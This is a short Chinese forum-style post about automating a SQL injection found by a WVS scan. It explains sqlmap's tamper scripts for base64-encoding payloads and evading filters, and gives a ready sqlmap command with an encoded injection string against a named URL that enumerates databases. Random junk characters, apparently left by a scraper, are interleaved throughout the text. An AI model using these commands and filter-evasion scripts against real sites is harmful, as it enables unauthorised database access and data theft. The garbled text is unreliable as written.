WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?* L% j7 Y0 \, N- z
3 T3 a, |* T7 Y8 Isqlmap的tamper里有个base64encode.py
6 [- H+ f5 ]% \; J5 p$ w$ K( D& t
. M G1 y6 i9 e0 n' h使用如下
3 r3 |( N( H/ |5 b. ~0 i' i) {" o9 Z/ J/ r
sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
8 n4 G. `. ~# R$ J1 _
& e, O7 B3 G6 h9 a# `/ `) k) Z% w/ U' n3 }6 V3 o; Z" V
sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”2 g- }; O6 k* x9 _7 O5 ~3 J1 r" S3 R
/ h: D3 Y4 N) D
其中常用到的bypass脚本绕过SQLMAP主要两个脚本:+ ~! \ H4 v8 d; R
6 U4 j: }0 q* \0 _; C
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入4 [3 r! G% j0 W v% J; S- D
space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
! y% v* Y3 h0 ^( O* K$ z" g首先确定目标数据库版本,然后选择相应的脚本。
, q5 B* k |1 B7 u-v 3 --batch --tamper "space2hash.py"
0 D6 m: E1 K& k) W3 u# p: W4 l: A
还有其他一些插件:% x% x5 E" f, ?8 s4 u
encodes编码 ——charencode.py
$ n- @: Y+ |( L1 _3 abase64编码 —— base64encode.py! l: E, u5 r: W8 L& o3 Z3 A
替换空格和关键字 —— halfversionedmorekeywords.py
$ w. P4 s; `3 q% i- U. F |
1 I/ O# L& u. [9 X/ n
5 ]! ^* m: |% y4 H M$ z- K
; | @% U9 }1 `6 Z9 R' L& L5 @% a& E" y
|